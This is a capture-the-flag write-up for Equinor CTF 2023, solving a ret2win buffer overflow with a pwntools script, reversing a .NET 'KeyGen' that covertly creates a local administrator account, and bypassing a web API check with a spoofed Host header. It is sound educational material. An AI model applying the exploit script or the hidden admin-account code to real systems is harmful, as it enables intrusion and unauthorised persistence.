Home Equinor CTF 2023
Post
Cancel

Equinor CTF 2023

The 11th of November Equinor Cyber Defence Center hosted Equinor CTF 2023. The challenges from the CTF can be found here.

Pwn

Easypwn

Challenge

1
2
3
4
5
loevland@hp-envy:~/ctf/ept/pwn/easypwn$ ./easypwn
Hello!
What's your name?
asd
Goodbye, asd!

Looking at the protections on the binary, we see that most of them are turned off

1
2
3
4
5
6
7
loevland@hp-envy:~/ctf/ept/pwn/easypwn$ pwn checksec ./easypwn
[*] '/home/loevland/ctf/ept/pwn/easypwn/easypwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

When reversing the binary in IDA we see that the main function calls the hello function, which asks for our name and prints it.

1
2
3
4
5
int __fastcall main(int argc, const char **argv, const char **envp){
  ignore_me_init_buffering(argc, argv, envp);
  hello();
  return 0;
}
1
2
3
4
5
6
7
int hello(){
  char v1[32]; // [rsp+0h] [rbp-20h] BYREF
  puts("Hello!");
  puts("What's your name? ");
  gets(v1);
  return printf("Goodbye, %s!\n", v1);
}

There is also a function winner inside the binary, which is not called anywhere, but will print us the flag if called. A classic ret2win challenge.

We can see in the hello function that gets(v1) is called. gets is dangerous to use, because it reads in everything that is given as input, leading to buffer overflows being possible. Also, since we can see from running checksec that there is no stack canaries, nothing stops us from performing the buffer overflow.

Given that buffer v1 is only 32 bytes in size, if we supply more than 32 bytes we will overflow and overwrite values on the stack. The return address is stored on the stack, so if we overflow it we can redirect the program execution to run the winner function, instead of returning back to main.

If we send a cyclic sequence as input, we can read the address where we crashed, which is 0x6161616161616166. The cyclic -l 0x6161616161616166 in pwndbg gives us the offset to this subsequence.

GDB

1
2
3
pwndbg> cyclic -l 0x6161616161616166
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40

Knowing the offset we can construct a payload which overflows the v1 buffer and parts of the stack (with non-important values) with 40 bytes, and then overwrites the return address located on the stack with the address of winner. When the hello function returns, the winner function should then be called instead, because of our overwrite.

The address of winner finds pwntools for us (but can also be found in many other ways, such as IDA, Objdump, and more).

1
2
payload = b"A" * 40            # Padding to the return address on the stack
payload += p64(exe.sym.winner) # Convert the address we want to call into bytes

We can construct a solve script

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

exe = context.binary = ELF("./easypwn", checksec=False)
io = remote("io.ept.gg", 30004)
io.clean()                     # Skip the stuff printed in the terminal before our input

payload = b"A" * 40            # Padding to the return address on the stack
payload += p64(exe.sym.winner) # Convert the address we want to call into bytes

io.sendline(payload)
io.interactive()

Running the solve-script on the remote instance gives us the flag

1
2
3
4
5
6
7
8
loevland@hp-envy:~/ctf/ept/pwn/easypwn$ python3 solve.py
[+] Opening connection to io.ept.gg on port 30004: Done
[*] Switching to interactive mode
Hello!
What's your name?
Goodbye, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6\x12@!
You are Winner! Flag:
EPT{S0meth1n6_2_ge7_u_5t4rt3d}

Rev

EPT1911

Challenge

We are given an executable written in .Net

1
2
loevland@hp-envy:~/ctf/ept/rev/ept1911$ file KeyGen.exe
KeyGen.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Running the file we get an UI where we can input some text, and it will generate a key for us

Running

Since the executable is .Net we can reverse it with dnSpy. We will use the 32-bit version of dnSpy since the executable is a PE32 executable.

There are two classes defined in the program: EPT1911 and Program.

The Program class contains the following interesting functions:

This function compares our local computer domain with the domain name passed to the function

1
2
3
4
5
6
7
8
9
10
11
12
13
public static bool IsMachineInDomain(string domainName){
    bool result;
    try {
        result = string.Equals(Domain.GetComputerDomain().Name, domainName, StringComparison.OrdinalIgnoreCase);
    }
    catch (ActiveDirectoryObjectNotFoundException){
        result = false;
    }
    catch (Exception){
        throw;
    }
    return result;
}

This function creates a local user and adds it to the administrators group. Note that the password ends with !}, which could be a part of the flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void CreateLocalUserAndAddToAdminGroup(string user, string pass){
    try{
        using (DirectoryEntry directoryEntry = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer")){
            DirectoryEntry directoryEntry2 = directoryEntry.Children.Add(user, "user");
            directoryEntry2.Invoke("SetPassword", new object[] {
                pass + "!}"
            });
            directoryEntry2.CommitChanges();
            DirectoryEntry directoryEntry3 = directoryEntry.Children.Find("Administrators", "group");
            if (directoryEntry3 != null){
                directoryEntry3.Invoke("Add", new object[] {
                    directoryEntry2.Path
                });
            }
        }
    }
    catch (Exception){
    }
}

There is only one interesting function in the EPT1911 class, and it calls both functions we just saw from the Program class.

The function checks if the local machine domain is contoso.com, and if so it adds 42 to the values of Settings.Default.encpw, and appends it to the string EPT{. From looking at the CreateLocalUserAndAddToAdminGroup function earlier, we know that this is the password created for the local user the program tries to create on our machine.

1
2
3
4
5
6
7
8
9
10
private void LegitStuff_Loader(){
    if (Program.IsMachineInDomain("contoso.com")){
        string text = "EPT{";
        foreach (string s in Settings.Default.encpw)
        {
            text += ((char)(int.Parse(s) + 42)).ToString();
        }
        Program.CreateLocalUserAndAddToAdminGroup("EPT", text);
    }
}

There are two possibilities here to get the flag:

  • Option 1: Find the values of Settings.Default.encpw and add 42 to each character/byte to get most of the flag (since EPT{ is prepended and !} appended)
  • Option 2: Use breakpoints and step through the program to it decrypt the flag for us

Option 1: Static Analysis

We can see the value of Settings.Default.encpw by clicking it in dnSpy, which leads us to the following settings property in the program

1
2
3
4
5
6
7
8
9
10
// Token: 0x17000007 RID: 7
// (get) Token: 0x06000013 RID: 19 RVA: 0x00002572 File Offset: 0x00000772
[ApplicationScopedSetting]
[DebuggerNonUserCode]
[DefaultSettingValue("<?xml version=\"1.0\" encoding=\"utf-16\"?>\r\n<ArrayOfString xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\r\n  <string>58</string>\r\n  <string>7</string>\r\n  <string>58</string>\r\n  <string>53</string>\r\n  <string>43</string>\r\n  <string>53</string>\r\n  <string>65</string>\r\n  <string>68</string>\r\n  <string>6</string>\r\n  <string>77</string>\r\n  <string>53</string>\r\n  <string>72</string>\r\n  <string>48</string>\r\n  <string>72</string>\r\n  <string>7</string>\r\n  <string>15</string>\r\n  <string>7</string>\r\n  <string>7</string>\r\n  <string>53</string>\r\n  <string>40</string>\r\n  <string>53</string>\r\n  <string>68</string>\r\n  <string>6</string>\r\n  <string>72</string>\r\n  <string>77</string>\r\n  <string>9</string>\r\n  <string>61</string>\r\n  <string>63</string>\r\n  <string>55</string>\r\n  <string>68</string>\r\n  <string>21</string>\r\n</ArrayOfString>")]
public StringCollection encpw{
    get {
        return (StringCollection)this["encpw"];
    }
}

If you look closely at the values in the XML body we can see integers stored as characters, which is equvivalent with the encrypted version of the password, which also is the body of the flag.

We copy-paste the XMl into a python script and parse it with the python library xml.etree.ElementTree. We already know that we only need to add 42 to each character to get the flag, and we know that EPT{ is prepended and !} is appended as well.

1
2
3
4
5
6
7
enc_pw = ET.fromstring(xml)

flag = "EPT{"
for char in enc_pw:
    flag += chr(int(char.text)+42)
flag += "!}"
print(flag)

The following is the full solve script

1
2
3
4
5
6
7
8
9
import xml.etree.ElementTree as ET
xml = "<?xml version=\"1.0\" encoding=\"utf-16\"?>\r\n<ArrayOfString xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\r\n  <string>58</string>\r\n  <string>7</string>\r\n  <string>58</string>\r\n  <string>53</string>\r\n  <string>43</string>\r\n  <string>53</string>\r\n  <string>65</string>\r\n  <string>68</string>\r\n  <string>6</string>\r\n  <string>77</string>\r\n  <string>53</string>\r\n  <string>72</string>\r\n  <string>48</string>\r\n  <string>72</string>\r\n  <string>7</string>\r\n  <string>15</string>\r\n  <string>7</string>\r\n  <string>7</string>\r\n  <string>53</string>\r\n  <string>40</string>\r\n  <string>53</string>\r\n  <string>68</string>\r\n  <string>6</string>\r\n  <string>72</string>\r\n  <string>77</string>\r\n  <string>9</string>\r\n  <string>61</string>\r\n  <string>63</string>\r\n  <string>55</string>\r\n  <string>68</string>\r\n  <string>21</string>\r\n</ArrayOfString>"
enc_pw = ET.fromstring(xml)

flag = "EPT{"
for char in enc_pw:
    flag += chr(int(char.text)+42)
flag += "!}"
print(flag)
1
2
loevland@hp-envy:~/ctf/ept/rev/ept1911$ python3 decrypt.py
EPT{d1d_U_kn0w_rZr1911_R_n0rw3gian?!}

Option 2: Dynamic Analysis

Since the program does the decryption for us if our computer has the domain name contoso.com, we can set a breakpoint at this if-check and change the return value of IsMachineInDomain to execute this decryption step. We can attach a debugger to the program with dnSpy, with breakpoints set at the following two lines:

Inside the IsMachineInDomain function, so we can pass the if-check

1
return result;

and inside LegitStuff_Loader before the user is created, but after the flag is decrypted

1
Program.CreateLocalUserAndAddToAdminGroup("EPT", text);

We run the program with the debugger attached. When we hit the first breakpoint we see, as expected, that the return value is false. However, we can just change it directly to true instead

Breakpoint1

When we hit the next breakpoint we see most of the flag, remembering that !} appended to the flag inside the CreateLocalUserAndAddToAdminGroup function

Breakpoint2

1
EPT{d1d_U_kn0w_rZr1911_R_n0rw3gian?!}

Web

Flag Api

Challenge

Opening the webpage of the challenge we onyl see no website hosted here , but we are given the C# source code for the website.

In the Controllers directory there is a file FlagController.cs which defines the route api/flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[ApiController]
[Route("api/flag")]
public class FlagController : ControllerBase
{

    [HttpGet]
    [Host("localhost:*", "impossible.ept.gg:*")]
    public string GetFlag()
    {
        var secret = Request.Headers["Secret"];
        try{
        var model = new FlagModel();
        return model.GetFlag(secret[0]);
        }catch(Exception e){
            return "This did not work, use the source";
        }

    }
}

[HttpGet] indicates that this endpoint accepts GET requests, and [Host("localhost:*", "impossible.ept.gg:*")] indicates that the Host-header has to be either localhost or impossible.ept.gg.

If the Host-header is set correctly, the value in the header Secret in retrieved and passed to the function GetFlag from the FlagModel class, which is located in the Models directory.

The GetFlag function looks like the following

1
2
3
4
5
6
7
8
9
10
public string GetFlag(String key_word)
{
    var plainKey = encrypt(Base64Decode(key_word),-13);
    if(plainKey.Equals("eptctforthewin")){
        var flag = File.ReadAllText("flag.txt");
        return flag;
    }else{
        return "This is not a flag, try again";
    }
}

The function base64-decodes the value we pass in the Secret header, and encrypts it with -13 as the second argument. If the result from the encrypt function is eptctforthewin we get the flag.

The encrypt function is defined in the FlagModel class aswell, and is a simple rotation cipher. We know that the shift amount if -13.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static string encrypt(string value, int shift){
    char[] buffer = value.ToCharArray();
    for (int i = 0; i < buffer.Length; i++){
        char letter = buffer[i];
        letter = (char)(letter + shift);
        if (letter > 'z'){
            letter = (char)(letter - 26);
        }
        else if (letter < 'a'){
            letter = (char)(letter + 26);
        }
        buffer[i] = letter;
    }
    return new string(buffer);
}

To retrieve the flag we ROT13 eptctforthewin and base64 encode the value. If we pass this as the value of the HTTP-header Secret, and the Host-header localhost or impossible.ept.gg, we should get the flag.

Cyberchef

1
2
loevland@hp-envy:~/ctf/ept/web/flag_api$ curl io.ept.gg:37419/api/flag -H "Host: impossible.ept.gg" -H "Secret: cmNncGdzYmVndXJqdmE="
EPT{Host_h3aders_ar3_fun_som3tim3}
This post is licensed under CC BY 4.0 by the author.